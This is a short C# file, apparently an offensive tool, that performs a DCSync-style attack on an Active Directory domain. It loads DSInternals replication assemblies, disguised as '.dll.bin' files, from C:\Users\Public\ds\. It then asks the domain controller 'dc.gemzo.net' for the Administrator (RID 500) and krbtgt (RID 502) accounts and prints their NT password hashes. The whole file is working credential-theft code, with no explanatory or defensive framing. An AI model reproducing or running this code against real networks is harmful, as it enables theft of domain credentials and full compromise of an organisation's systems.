using System; using System.IO; using System.Reflection; using System.Security.Principal; public class Drv { public const string D = @"C:\Users\Public\ds\"; public static Assembly Resolve(object s, ResolveEventArgs e){ string n = new AssemblyName(e.Name).Name; try { return Assembly.LoadFrom(D + n + ".dll.bin"); } catch { return null; } } public static Assembly Load(string n){ return Assembly.LoadFrom(D + n + ".dll.bin"); } public static string Run(){ string o = ""; try { o += "ME=" + WindowsIdentity.GetCurrent().Name + " | " + Environment.UserName + "@" + Environment.UserDomainName + "\n"; Assembly pb = Load("protobuf-net"); Assembly nc = Load("NDceRpc.Microsoft"); Assembly nsc = Load("NDceRpc.ServiceModel.Core"); Assembly common = Load("DSInternals.Common"); Assembly model = Load("DSInternals.Replication.Model"); Assembly interop = Load("DSInternals.Replication.Interop"); Assembly rep = Load("DSInternals.Replication"); o += "LOADED ok\n"; Type t = rep.GetType("DSInternals.Replication.DirectoryReplicationClient"); Type pr = rep.GetType("DSInternals.Replication.RpcProtocol"); o += "T=" + t + " P=" + pr + "\n"; object tcp = Enum.Parse(pr, "TCP"); ConstructorInfo ctor = t.GetConstructor(new Type[]{ typeof(string), pr, typeof(System.Net.NetworkCredential) }); object cli; if (ctor != null) cli = ctor.Invoke(new object[]{ "dc.gemzo.net", tcp, null }); else { ctor = t.GetConstructor(new Type[]{ typeof(string), pr }); cli = ctor.Invoke(new object[]{ "dc.gemzo.net", tcp }); } o += "CLI ok\n"; MethodInfo gm = t.GetMethod("GetAccount", new Type[]{ typeof(SecurityIdentifier) }); string pre = "S-1-5-21-930626169-1328625005-2648467345-"; foreach (int rid in new int[]{ 500, 502 }){ try { SecurityIdentifier sid = new SecurityIdentifier(pre + rid); object acc = gm.Invoke(cli, new object[]{ sid }); Type at = acc.GetType(); byte[] h = (byte[])at.GetProperty("NTHash").GetValue(acc, null); object sam = at.GetProperty("SamAccountName").GetValue(acc, null); o += "RID" + rid + " " + sam + " " + BitConverter.ToString(h).Replace("-", "") + "\n"; } catch (Exception ex) { Exception e2 = ex; if (e2 is TargetInvocationException && e2.InnerException != null) e2 = e2.InnerException; o += "ERR rid" + rid + ": [" + e2.GetType().FullName + "] HRESULT=0x" + e2.HResult.ToString("X8") + " MSG=" + e2.Message + "\n"; } } } catch (Exception e) { o += "TOP: " + e.ToString() + "\n"; } return o; } }